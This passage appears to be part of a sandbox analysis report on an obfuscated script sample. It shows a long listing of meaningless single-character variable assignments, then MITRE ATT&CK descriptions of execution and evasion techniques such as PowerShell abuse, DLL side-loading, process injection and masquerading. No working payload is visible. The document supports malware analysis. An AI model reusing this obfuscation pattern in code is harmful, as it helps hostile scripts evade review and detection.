390	kxbhkd = "v";
391	kxbhkd = "r";
392	kxbhkd = "i";
393	kxbhkd = "c";
394	hplavc = "D";
395	hplavc = "h";
396	hplavc = "w";
397	hplavc = "n";
398	hplavc = "E";
399	hplavc = "x";
400	hplavc = "M";
401	hplavc = "V";
402	hplavc = "z";
403	hplavc = "N";
404	hplavc = "q";
405	hplavc = "G";
406	hplavc = "Y";
407	hplavc = "B";
408	hplavc = "w";
409	hplavc = "X";
410	hplavc = "U";
411	byubjrtpy = "K";
412	byubjrtpy = "l";
413	byubjrtpy = "w";
414	byubjrtpy = "R";
415	byubjrtpy = "J";
416	byubjrtpy = "l";
417	byubjrtpy = "e";
418	byubjrtpy = "y";
419	byubjrtpy = "q";
420	byubjrtpy = "L";
421	byubjrtpy = "t";
422	byubjrtpy = "Q";
423	byubjrtpy = "e";
424	byubjrtpy = "n";
425	byubjrtpy = "a";
426	byubjrtpy = "f";
427	byubjrtpy = "g";
428	byubjrtpy = "W";
429	byubjrtpy = "A";
430	byubjrtpy = "O";
431	byubjrtpy = "Q";
432	byubjrtpy = "q";
433	byubjrtpy = "t";
434	byubjrtpy = "w";
435	byubjrtpy = "Y";
436	byubjrtpy = "B";
437	byubjrtpy = "5";
438	qfjsrnzau = "e";
439	qfjsrnzau = "l";
440	qfjsrnzau = "o";
441	qfjsrnzau = "a";
442	qfjsrnzau = "u";
443	qfjsrnzau = "H";
444	qfjsrnzau = "w";
445	qfjsrnzau = "y";
446	qfjsrnzau = "y";
447	qfjsrnzau = "H";
448	qfjsrnzau = "A";
449	qfjsrnzau = "m";
450	xtzxrms = "X";
451	xtzxrms = "D";
452	xtzxrms = "o";
453	xtzxrms = "j";
454	xtzxrms = "w";
455	xtzxrms = "J";
456	xtzxrms = "H";
457	xtzxrms = "r";
458	xtzxrms = "O";
459	xtzxrms = "z";
460	xtzxrms = "p";
461	xtzxrms = "E";
462	xtzxrms = "r";
463	xtzxrms = "f";
464	xtzxrms = "O";
465	xtzxrms = "U";
466	xtzxrms = "B";
467	xtzxrms = "y";
468	xtzxrms = "O";
469	xtzxrms = "a";
470	xtzxrms = "q";
471	xtzxrms = "O";
472	xtzxrms = "m";
473	xtzxrms = "A";
474	xtzxrms = "g";
475	xtzxrms = "A";
476	xtzxrms = "x";
477	xtzxrms = "o";
478	xtzxrms = "R";
479	xtzxrms = "S";
480	xtzxrms = "e";
481	xtzxrms = "I";
482	xtzxrms = "f";
483	vdbjw = "c";
484	vdbjw = "z";
485	vdbjw = "z";
486	vdbjw = "k";
487	vdbjw = "L";
488	vdbjw = "F";
489	vdbjw = "F";
490	vdbjw = "z";
491	vdbjw = "b";
492	vdbjw = "C";
493	vdbjw = "B";
494	vdbjw = "k";
495	vdbjw = "A";
496	vdbjw = "Q";
497	vdbjw = "P";
498	vdbjw = "c";
499	vdbjw = "S";
500	vdbjw = "s";
501	vdbjw = "H";
502	vdbjw = "p";
503	vdbjw = "p";
504	vdbjw = "a";
505	vdbjw = "t";
506	vdbjw = "p";
507	vdbjw = "j";
508	vdbjw = "S";
509	nadfx = "E";
510	nadfx = "k";
511	nadfx = "N";
512	nadfx = "t";
513	nadfx = "o";
514	nadfx = "Q";
515	nadfx = "E";
516	nadfx = "j";
517	nadfx = "n";
518	nadfx = "E";
519	nadfx = "D";
520	nadfx = "S";
521	nadfx = "H";
522	nadfx = "Z";
523	nadfx = "f";
524	nadfx = "z";
525	nadfx = "y";
526	nadfx = "W";
527	nadfx = "i";
528	nadfx = "j";
529	nadfx = "f";
530	nadfx = "X";
531	nadfx = "S";
532	nadfx = "z";
533	nadfx = "Y";
534	nadfx = "s";
535	nadfx = "g";
536	nadfx = "s";
537	nadfx = "J";
538	nadfx = "v";
539	nadfx = "P";
540	nadfx = "u";
541	nadfx = "q";
542	nadfx = "d";
543	nadfx = "P";
544	nadfx = "W";
545	nadfx = "A";
546	nadfx = "b";
547	nadfx = "o";
548	nadfx = "p";
549	nadfx = "d";
550	dicayy = "i";
551	dicayy = "j";
552	dicayy = "k";
553	dicayy = "n";
554	dicayy = "F";
555	dicayy = "n";
556	dicayy = "h";
557	dicayy = "B";
558	dicayy = "w";
559	dicayy = "M";
560	dicayy = "B";
561	dicayy = "z";
562	dicayy = "j";
563	dicayy = "r";
564	dicayy = "L";
565	dicayy = "G";
566	dicayy = "e";
567	vxmsvb = "c";
568	vxmsvb = "M";
569	vxmsvb = "d";
570	vxmsvb = "R";
571	vxmsvb = "L";
572	vxmsvb = "g";
573	vxmsvb = "X";
574	vxmsvb = "R";
575	vxmsvb = "s";
576	vxmsvb = "N";
577	vxmsvb = "f";
578	vxmsvb = "d";
579	vxmsvb = "G";
580	vxmsvb = "E";
581	jdbvovfg = "e";
582	jdbvovfg = "S";
583	jdbvovfg = "v";
584	qekxqk = "S";
585	qekxqk = "m";
586	qekxqk = "r";
587	qekxqk = "l";
588	qekxqk = "h";
589	qekxqk = "d";
590	qekxqk = "b";
591	qekxqk = "F";
592	qekxqk = "L";
593	qekxqk = "t";
594	qekxqk = "L";
595	qekxqk = "Z";
596	qekxqk = "s";
597	qekxqk = "K";
598	qekxqk = "C";
599	qekxqk = "p";
600	qekxqk = "m";
601	qekxqk = "S";
602	qekxqk = "t";
603	qekxqk = "b";
604	qekxqk = "A";
605	qekxqk = "h";
606	qekxqk = "L";
607	qekxqk = "I";
608	qekxqk = "r";
609	qekxqk = "Z";
610	qekxqk = "Y";
611	qekxqk = "1";
612	esprfptif = "T";
613	esprfptif = "a";
614	esprfptif = "b";
615	esprfptif = "f";
616	esprfptif = "o";
617	esprfptif = "v";
618	esprfptif = "g";
619	esprfptif = "s";
620	esprfptif = "f";
621	esprfptif = "y";
622	esprfptif = "S";
623	esprfptif = "Y";
624	esprfptif = "F";
625	esprfptif = "b";
626	esprfptif = "x";
627	esprfptif = "W";
628	esprfptif = "F";
629	esprfptif = "A";
630	esprfptif = "C";
631	esprfptif = "l";
632	esprfptif = "m";
633	esprfptif = "b";
634	esprfptif = "x";
635	esprfptif = "x";
636	esprfptif = "g";
637	esprfptif = "W";
638	esprfptif = "U";
639	esprfptif = "/";
640	tezvwozdm = "L";
641	tezvwozdm = "F";
642	tezvwozdm = "b";
643	tezvwozdm = "w";
644	tezvwozdm = "X";
645	tezvwozdm = "a";
646	tezvwozdm = "R";
647	tezvwozdm = "Z";
648	tezvwozdm = "h";
649	tezvwozdm = "m";
650	tezvwozdm = "Z";
651	tezvwozdm = "l";
652	tezvwozdm = "O";
653	tezvwozdm = "R";
654	tezvwozdm = "T";
655	tezvwozdm = "k";
656	tezvwozdm = "y";
657	tezvwozdm = "q";
658	tezvwozdm = "K";
659	tezvwozdm = "r";
660	tezvwozdm = "r";
661	tezvwozdm = "V";
662	tezvwozdm = "G";
663	tezvwozdm = "P";
664	tezvwozdm = "B";
665	tezvwozdm = "a";
666	tezvwozdm = "c";
667	tezvwozdm = "G";
668	tezvwozdm = "S";
669	tezvwozdm = "l";
670	tezvwozdm = "u";
671	tezvwozdm = "o";
672	tezvwozdm = "F";
673	tezvwozdm = "M";
674	tezvwozdm = "p";
675	tezvwozdm = "t";
676	tezvwozdm = "x";
677	tezvwozdm = "n";
678	tezvwozdm = "y";
679	tezvwozdm = "W";
680	tezvwozdm = "R";
681	tezvwozdm = "h";
682	mxhorbw = "H";
683	mxhorbw = "N";
684	mxhorbw = "Z";
685	mxhorbw = "K";
686	mxhorbw = "B";
687	mxhorbw = "k";
688	mxhorbw = "A";
689	mxhorbw = "n";
690	mxhorbw = "N";
691	mxhorbw = "w";
692	mxhorbw = "Q";
693	dpsssbox = "r";
694	dpsssbox = "O";
695	dpsssbox = "G";
696	dpsssbox = "S";
697	dpsssbox = "D";
698	dpsssbox = "I";
699	ksihdyl = "K";
700	ksihdyl = "S";
701	ksihdyl = "A";
702	ksihdyl = "y";
703	ksihdyl = "m";
704	ksihdyl = "c";
705	ksihdyl = "f";
706	ksihdyl = "j";
707	ksihdyl = "a";
708	ksihdyl = "A";
709	ksihdyl = "p";
710	ksihdyl = "q";
711	ksihdyl = "B";
712	ksihdyl = "M";
713	ksihdyl = "k";
714	ksihdyl = "r";
715	ksihdyl = "D";
716	ksihdyl = "e";
717	ksihdyl = "a";
718	ksihdyl = "w";
719	ksihdyl = "U";
720	ksihdyl = "u";
721	ksihdyl = "V";
722	ksihdyl = "w";
723	rjmux = "i";
724	rjmux = "B";
725	rjmux = "d";
726	rjmux = "B";
727	rjmux = "C";
728	rjmux = "s";
729	rjmux = "D";
730	rjmux = "A";
731	rjmux = "j";
732	rjmux = "S";
733	rjmux = "B";
734	rjmux = "l";
735	rjmux = "g";
736	rjmux = "D";
737	rjmux = "f";
738	rjmux = "u";
739	rjmux = "P";
740	rjmux = "D";
741	rjmux = "d";
742	rjmux = "s";
743	rjmux = "G";
744	rjmux = "U";
745	rjmux = "G";
746	rjmux = "J";
747	rjmux = "d";
748	rjmux = "L";
749	rjmux = "Z";
750	rjmux = "v";
751	rjmux = "P";
752	rjmux = "T";
753	rjmux = "L";
754	rjmux = "X";
755	rjmux = "i";
756	rjmux = "H";
757	rjmux = "M";
758	rjmux = "m";
759	rjmux = "a";
760	rjmux = "&";
761	lirqhbu = "v";
762	lirqhbu = "J";
763	lirqhbu = "G";
764	lirqhbu = "D";
765	lirqhbu = "g";
766	lirqhbu = "g";
767	lirqhbu = "J";
768	lirqhbu = "W";
769	lirqhbu = "j";
770	lirqhbu = "m";
771	lirqhbu = "F";
772	lirqhbu = "W";
773	lirqhbu = "u";
774	lirqhbu = "p";
775	lirqhbu = "h";
776	lirqhbu = "B";
777	lirqhbu = "k";
778	lirqhbu = "g";
779	lirqhbu = "N";
780	lirqhbu = "d";
781	lirqhbu = "O";
782	lirqhbu = "n";
783	lirqhbu = "h";
784	lirqhbu = "Q";
785	lirqhbu = "u";
786	lirqhbu = "X";
787	lirqhbu = "t";
788	lirqhbu = "u";
789	lirqhbu = "z";
790	lirqhbu = "S";
791	lirqhbu = "x";
792	lirqhbu = "v";
793	lirqhbu = "V";
794	lirqhbu = "s";
795	lirqhbu = "f";
796	lirqhbu = "k";
797	lirqhbu = "D";
798	lirqhbu = "P";
799	lirqhbu = "N";
800	lirqhbu = "T";
801	lirqhbu = "K";
802	lirqhbu = "F";
803	lirqhbu = "Q";
804	lirqhbu = ":";
805	cwfwhe = "k";
806	cwfwhe = "d";
807	cwfwhe = "n";
808	cwfwhe = "E";
809	cwfwhe = "l";
810	cwfwhe = "O";
811	cwfwhe = "e";
812	cwfwhe = "Q";
813	cwfwhe = "X";
814	cwfwhe = "F";
815	cwfwhe = "k";
816	cwfwhe = "b";
817	cwfwhe = "L";
818	cwfwhe = "M";
819	cwfwhe = "Y";
820	cwfwhe = "D";
821	cwfwhe = "u";
822	cwfwhe = "K";
823	cwfwhe = "p";
824	cwfwhe = "h";
825	cwfwhe = "y";
826	cwfwhe = "U";
827	cwfwhe = "R";
828	cwfwhe = "v";
829	cwfwhe = "U";
830	cwfwhe = "N";
831	cwfwhe = "h";
832	cwfwhe = "Q";
833	cwfwhe = "k";
834	daktb = "Y";
835	daktb = "q";
836	daktb = "q";
837	daktb = "C";
838	daktb = "o";
839	daktb = "N";
840	daktb = "Z";
841	daktb = "a";
842	wrphfung = "3";
843	eboqrcdw = "k";
844	eboqrcdw = "g";
845	eboqrcdw = "g";
846	eboqrcdw = "x";
847	eboqrcdw = "a";
848	eboqrcdw = "V";
849	eboqrcdw = "j";
850	eboqrcdw = "J";
851	eboqrcdw = "Q";
852	eboqrcdw = "A";
853	eboqrcdw = "%";
854	vppumzymx = "o";
855	vppumzymx = "J";
856	vppumzymx = "o";
857	vppumzymx = "O";
858	vppumzymx = "m";
859	vppumzymx = "r";
860	vppumzymx = "n";
861	vppumzymx = "j";
862	vppumzymx = "p";
863	vppumzymx = "g";
864	vppumzymx = "N";
865	vppumzymx = "t";
866	vppumzymx = "k";
867	vppumzymx = "H";
868	vppumzymx = "x";
869	vppumzymx = "I";
870	vppumzymx = "t";
871	vppumzymx = "f";
872	vppumzymx = "m";
873	vppumzymx = "U";
874	vppumzymx = "n";
875	vppumzymx = "i";
876	vppumzymx = "S";
877	vppumzymx = "t";
878	vppumzymx = "V";
879	vppumzymx = "s";
880	vppumzymx = "M";
881	vppumzymx = "d";
882	vppumzymx = "q";
883	vppumzymx = "h";
884	vppumzymx = "I";
885	vppumzymx = "l";
886	vppumzymx = "V";
887	vppumzymx = "e";
888	vppumzymx = "p";
889	vppumzymx = ".";
890	nwloc = "E";
891	nwloc = "F";
892	nwloc = "R";
893	nwloc = "C";
894	kqxadafn = "F";
895	kqxadafn = "t";
896	kqxadafn = "s";
897	kqxadafn = "Z";
898	kqxadafn = "R";
899	kqxadafn = "L";
900	kqxadafn = "G";
901	kqxadafn = "R";
902	kqxadafn = "H";
903	kqxadafn = "Y";
904	aolnjxhra = "C";
905	aolnjxhra = "d";
906	aolnjxhra = "k";
907	aolnjxhra = "M";
908	aolnjxhra = "d";
909	aolnjxhra = "T";
910	aolnjxhra = "u";
911	aolnjxhra = "G";
912	aolnjxhra = "S";
913	aolnjxhra = "q";
914	aolnjxhra = "O";
915	aolnjxhra = "E";
916	aolnjxhra = "C";
917	aolnjxhra = "S";
918	aolnjxhra = "C";
919	aolnjxhra = "G";
920	aolnjxhra = "V";
921	aolnjxhra = "i";
922	aolnjxhra = "X";
923	aolnjxhra = "U";
924	aolnjxhra = "F";
925	aolnjxhra = "x";
926	aolnjxhra = "L";
927	aolnjxhra = "Q";
928	aolnjxhra = "K";
929	vvbbb = "G";
930	vvbbb = "u";
931	vvbbb = "v";
932	vvbbb = "O";
933	vvbbb = "e";
934	vvbbb = "v";
935	vvbbb = "Z";
936	vvbbb = "f";
937	vvbbb = "Q";
938	vvbbb = "e";
939	vvbbb = "d";
940	vvbbb = "D";
941	vvbbb = "F";
942	vvbbb = "n";
943	vvbbb = "R";
944	vvbbb = "s";
945	vvbbb = "u";
946	vvbbb = "o";
947	vvbbb = "6";
948	grljrowas = "t";
949	grljrowas = "K";
950	grljrowas = "A";
951	grljrowas = "Z";
952	grljrowas = "f";
953	grljrowas = "P";
954	grljrowas = "H";
955	grljrowas = "a";
956	grljrowas = "Y";
957	grljrowas = "k";
958	grljrowas = "f";
959	grljrowas = "T";
960	grljrowas = "d";
961	grljrowas = "Q";
962	grljrowas = "W";
963	grljrowas = "T";
964	grljrowas = "F";
965	grljrowas = "x";
966	nnenktdn = "y";
967	nnenktdn = "w";
968	nnenktdn = "L";
969	nnenktdn = "J";
970	nnenktdn = "x";
971	nnenktdn = "O";
972	nnenktdn = "m";
973	nnenktdn = "G";
974	nnenktdn = "n";
975	nnenktdn = "z";
976	nnenktdn = "Y";
977	nnenktdn = "K";
978	nnenktdn = "0";
979	vwhnv = "f";
980	vwhnv = "Z";
981	vwhnv = "t";
982	vwhnv = "B";
983	vwhnv = "A";
984	vwhnv = "J";
985	vwhnv = "Z";
986	vwhnv = "I";
987	vwhnv = "X";
988	vwhnv = "Y";
989	vwhnv = "O";
990	vwhnv = "z";
991	vwhnv = "Z";
992	vwhnv = "D";
993	vwhnv = "o";
994	vwhnv = "u";
995	vwhnv = "q";
996	vwhnv = "b";
997	vwhnv = "4";
998	qlmicjh = "J";
999	qlmicjh = "h";
1000	qlmicjh = "S";
1001	qlmicjh = "b";
1002	qlmicjh = "W";
1003	qlmicjh = "N";
1004	qlmicjh = "I";
1005	qlmicjh = "U";
1006	qlmicjh = "Z";
1007	qlmicjh = "m";
1008	qlmicjh = "P";
1009	qlmicjh = "U";
1010	qlmicjh = "I";
1011	qlmicjh = "n";
1012	qlmicjh = "e";
1013	qlmicjh = "o";
1014	qlmicjh = "L";
1015	qlmicjh = "u";
1016	qlmicjh = "f";
1017	qlmicjh = "Y";
1018	qlmicjh = "x";
1019	qlmicjh = "w";
1020	qlmicjh = "r";
1021	qlmicjh = "e";
1022	qlmicjh = "h";
1023	qlmicjh = "J";
1024	qlmicjh = "p";
1025	qlmicjh = "c";
1026	qlmicjh = "A";
1027	qlmicjh = "a";
1028	qlmicjh = "c";
1029	qlmicjh = "e";
1030	qlmicjh = "k";
1031	qlmicjh = "C";
1032	qlmicjh = "t";
1033	qlmicjh = "C";
1034	qlmicjh = "i";
1035	qlmicjh = "K";
1036	qlmicjh = "W";
1037	qlmicjh = "N";
1038	qlmicjh = "F";
1039	qlmicjh = "E";
1040	qlmicjh = "o";
1041	vcyzctp = "A";
1042	vcyzctp = "V";
1043	vcyzctp = "R";
1044	vcyzctp = "L";
1045	vcyzctp = "I";
1046	vcyzctp = "o";
1047	vcyzctp = "l";
1048	vcyzctp = "U";
1049	vcyzctp = "S";
1050	vcyzctp = "X";
1051	vcyzctp = "P";
1052	vcyzctp = "E";
1053	vcyzctp = "s";
1054	vcyzctp = "t";
1055	vcyzctp = "y";
1056	vcyzctp = "g";
1057	vcyzctp = "V";
1058	vcyzctp = "Q";
1059	vcyzctp = "g";
1060	vcyzctp = "r";
1061	vcyzctp = "l";
1062	vcyzctp = "Q";
1063	vcyzctp = "N";
1064	vcyzctp = "I";
1065	vcyzctp = "F";
1066	bonfx = "l";
1067	bonfx = "a";
1068	bonfx = "e";
1069	bonfx = "c";
1070	bonfx = "v";
1071	bonfx = "A";
1072	bonfx = "s";
1073	bonfx = "w";
1074	bonfx = "Y";
1075	bonfx = "Y";
1076	bonfx = "m";
1077	bonfx = "z";
1078	bonfx = "R";
1079	bonfx = "g";
1080	bonfx = "O";
1081	bonfx = "y";
1082	bonfx = "T";
1083	bonfx = "N";
1084	bonfx = "O";
1085	bonfx = "\"";
1086	jmkqddb = "E";
1087	jmkqddb = "D";
1088	jmkqddb = "i";
1089	jmkqddb = "a";
1090	jmkqddb = "x";
1091	jmkqddb = "x";
1092	jmkqddb = "O";
1093	jmkqddb = "S";
1094	jmkqddb = "G";
1095	jmkqddb = "O";
1096	jmkqddb = "H";
1097	jmkqddb = "H";
1098	jmkqddb = "T";
1099	jmkqddb = "B";
1100	jmkqddb = "p";
1101	jmkqddb = "i";
1102	jmkqddb = "Q";
1103	jmkqddb = "n";
1104	jmkqddb = "a";
1105	jmkqddb = "c";
1106	jmkqddb = "j";
1107	jmkqddb = "Y";
1108	jmkqddb = "q";
1109	jmkqddb = "X";
1110	jmkqddb = "G";
1111	jmkqddb = "i";
1112	jmkqddb = "D";
1113	jmkqddb = "X";
1114	jmkqddb = "f";
1115	jmkqddb = "J";
1116	jmkqddb = "G";
1117	jmkqddb = "o";
1118	jmkqddb = "m";
1119	jmkqddb = "e";
1120	jmkqddb = "t";
1121	jmkqddb = "j";
1122	jmkqddb = "Z";
1123	jmkqddb = "n";
1124	jmkqddb = "Z";
1125	jmkqddb = "D";
1126	jmkqddb = "r";
1127	ldkgctdba = "J";
1128	ldkgctdba = "Z";
1129	ldkgctdba = "M";
1130	ldkgctdba = "J";
1131	ldkgctdba = "y";
1132	ldkgctdba = "N";
1133	ldkgctdba = "A";
1134	ldkgctdba = "I";
1135	ldkgctdba = "E";
1136	ldkgctdba = "v";
1137	ldkgctdba = "N";
1138	ldkgctdba = "C";
1139	ldkgctdba = "z";
1140	ldkgctdba = "M";
1141	ldkgctdba = "X";
1142	ldkgctdba = "r";
1143	ldkgctdba = "b";
1144	ldkgctdba = "A";
1145	ldkgctdba = "l";
1146	ldkgctdba = "b";
1147	ldkgctdba = "l";
1148	ldkgctdba = "d";
1149	ldkgctdba = "e";
1150	ldkgctdba = "d";
1151	ldkgctdba = "u";
1152	ldkgctdba = "p";
1153	ldkgctdba = "c";
1154	ldkgctdba = "\\";
1155	ngrrv = "J";
1156	ngrrv = " ";
1157	nxcawff = "Y";
1158	nxcawff = "m";
1159	nxcawff = "P";
1160	nxcawff = "f";
1161	nxcawff = "j";
1162	nxcawff = "X";
1163	nxcawff = "M";
1164	nxcawff = "I";
1165	nxcawff = "c";
1166	nxcawff = "l";
1167	nxcawff = "e";
1168	nxcawff = "j";
1169	nxcawff = "I";
1170	nxcawff = "m";
1171	nxcawff = "b";
1172	nxcawff = "W";
1173	lqggrl = "X";
1174	lqggrl = "I";
1175	lqggrl = "K";
1176	lqggrl = "u";
1177	lqggrl = "K";
1178	lqggrl = "l";
1179	lqggrl = "C";
1180	lqggrl = "U";
1181	lqggrl = "W";
1182	lqggrl = "H";
1183	hhpolfz = "O";
1184	hhpolfz = "i";
1185	hhpolfz = "x";
1186	hhpolfz = "d";
1187	hhpolfz = "q";
1188	hhpolfz = "E";
1189	hhpolfz = "l";
1190	hhpolfz = "H";
1191	hhpolfz = "w";
1192	hhpolfz = "c";
1193	hhpolfz = "T";
1194	hhpolfz = "o";
1195	hhpolfz = "u";
1196	hhpolfz = "8";
1197	qozjgsp = "y";
1198	qozjgsp = "N";
1199	qozjgsp = "M";
1200	qozjgsp = "X";
1201	qozjgsp = "h";
1202	qozjgsp = "M";
1203	qozjgsp = "N";
1204	qozjgsp = "u";
1205	qozjgsp = "h";
1206	qozjgsp = "b";
1207	qozjgsp = "x";
1208	qozjgsp = "j";
1209	qozjgsp = "D";
1210	qozjgsp = "N";
1211	qozjgsp = "v";
1212	qozjgsp = "W";
1213	qozjgsp = "P";
1214	qozjgsp = "D";
1215	qozjgsp = "z";
1216	qozjgsp = "e";
1217	qozjgsp = "W";
1218	qozjgsp = "Y";
1219	qozjgsp = "A";
1220	qozjgsp = "t";
1221	qozjgsp = "N";
1222	qozjgsp = "G";
1223	qozjgsp = "t";
1224	qozjgsp = "q";
1225	qozjgsp = "U";
1226	qozjgsp = "x";
1227	qozjgsp = "T";
1228	qozjgsp = "Y";
1229	qozjgsp = "O";
1230	qozjgsp = "u";
1231	qozjgsp = "g";
1232	szoii = "e";
1233	szoii = "t";
1234	szoii = "D";
1235	szoii = "U";
1236	szoii = "S";
1237	szoii = "U";
1238	szoii = "c";
1239	szoii = "P";
1240	szoii = "Z";
1241	szoii = "w";
1242	szoii = "f";
1243	szoii = "y";
1244	szoii = "E";
1245	szoii = "M";
1246	szoii = "E";
1247	szoii = "W";
1248	szoii = "d";
1249	szoii = "C";
1250	szoii = "y";
1251	szoii = "b";
1252	szoii = "Q";
1253	szoii = "O";
1254	szoii = "E";
1255	szoii = "H";
1256	szoii = "s";
1257	szoii = "g";
1258	szoii = "Y";
1259	szoii = "d";
1260	szoii = "j";
1261	szoii = "F";
1262	szoii = "I";
1263	szoii = "v";
1264	szoii = "L";
1265	szoii = "Z";
1266	szoii = "e";
1267	szoii = "c";
1268	szoii = "w";
1269	szoii = "C";
1270	szoii = "k";
1271	szoii = "O";
1272	szoii = "t";
1273	szoii = "T";
1274	szoii = "H";
1275	szoii = "b";
1276	dyaklznj = "n";
1277	dyaklznj = "r";
1278	dyaklznj = "b";
1279	dyaklznj = "@";
1280	wtnkslwqh = "W";
1281	wtnkslwqh = "v";
1282	wtnkslwqh = "Y";
1283	wtnkslwqh = "n";
1284	wtnkslwqh = "V";
1285	wtnkslwqh = "X";
1286	wtnkslwqh = "G";
1287	wtnkslwqh = "F";
1288	wtnkslwqh = "e";
1289	wtnkslwqh = "c";
1290	wtnkslwqh = "M";
1291	wtnkslwqh = "P";
1292	wtnkslwqh = "M";
1293	wtnkslwqh = "d";
1294	wtnkslwqh = "Y";
1295	wtnkslwqh = "C";
1296	wtnkslwqh = "m";
1297	wtnkslwqh = "f";
1298	wtnkslwqh = "j";
1299	wtnkslwqh = "f";
1300	wtnkslwqh = "n";
1301	wtnkslwqh = "c";
1302	wtnkslwqh = "U";
1303	wtnkslwqh = "D";
1304	wtnkslwqh = "d";
1305	wtnkslwqh = "d";
1306	wtnkslwqh = "H";
1307	wtnkslwqh = "S";
1308	wtnkslwqh = "z";
1309	wtnkslwqh = "a";
1310	wtnkslwqh = "F";
1311	wtnkslwqh = "w";
1312	wtnkslwqh = "D";
1313	wtnkslwqh = "x";
1314	wtnkslwqh = "S";
1315	wtnkslwqh = "P";
1316	wtnkslwqh = "u";
1317	wtnkslwqh = "x";
1318	wtnkslwqh = "y";
1319	wtnkslwqh = "x";
1320	wtnkslwqh = "7";
1321	nxvrpj = "I";
1322	nxvrpj = "P";
1323	nxvrpj = "o";
1324	nxvrpj = "J";
1325	nxvrpj = "k";
1326	nxvrpj = "Y";
1327	nxvrpj = "k";
1328	nxvrpj = "G";
1329	nxvrpj = "G";
1330	nxvrpj = "X";
1331	nxvrpj = "g";
1332	nxvrpj = "J";
1333	nxvrpj = "U";
1334	nxvrpj = "X";
1335	nxvrpj = "X";
1336	nxvrpj = "T";
1337	nxvrpj = "D";
1338	nxvrpj = "D";
1339	nxvrpj = "y";
1340	nxvrpj = "y";
1341	nxvrpj = "p";
1342	nxvrpj = "T";
1343	nxvrpj = "B";
1344	nxvrpj = "P";
1345	nxvrpj = "i";
1346	nxvrpj = "C";
1347	nxvrpj = "J";
1348	nxvrpj = "a";
1349	nxvrpj = "G";
1350	nxvrpj = "l";
1351	nxvrpj = "a";
1352	nxvrpj = "B";
1353	nxvrpj = "G";
1354	nxvrpj = "p";
1355	nxvrpj = "o";
1356	nxvrpj = "p";
1357	nxvrpj = "O";
1358	nxvrpj = "L";
1359	nxvrpj = "W";
1360	nxvrpj = "m";
1361	nxvrpj = "_";
1362	bnxfrx = "I";
1363	bnxfrx = "M";
1364	bnxfrx = "x";
1365	bnxfrx = "r";
1366	bnxfrx = "P";
1367	bnxfrx = "q";
1368	bnxfrx = "A";
1369	bnxfrx = "D";
1370	bnxfrx = "s";
1371	bnxfrx = "J";
1372	bnxfrx = "J";
1373	bnxfrx = "B";
1374	bnxfrx = "m";
1375	bnxfrx = "f";
1376	bnxfrx = "T";
1377	bnxfrx = "c";
1378	bnxfrx = "p";
1379	bnxfrx = "x";
1380	bnxfrx = "R";
1381	ylizs ( );	ylizs() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

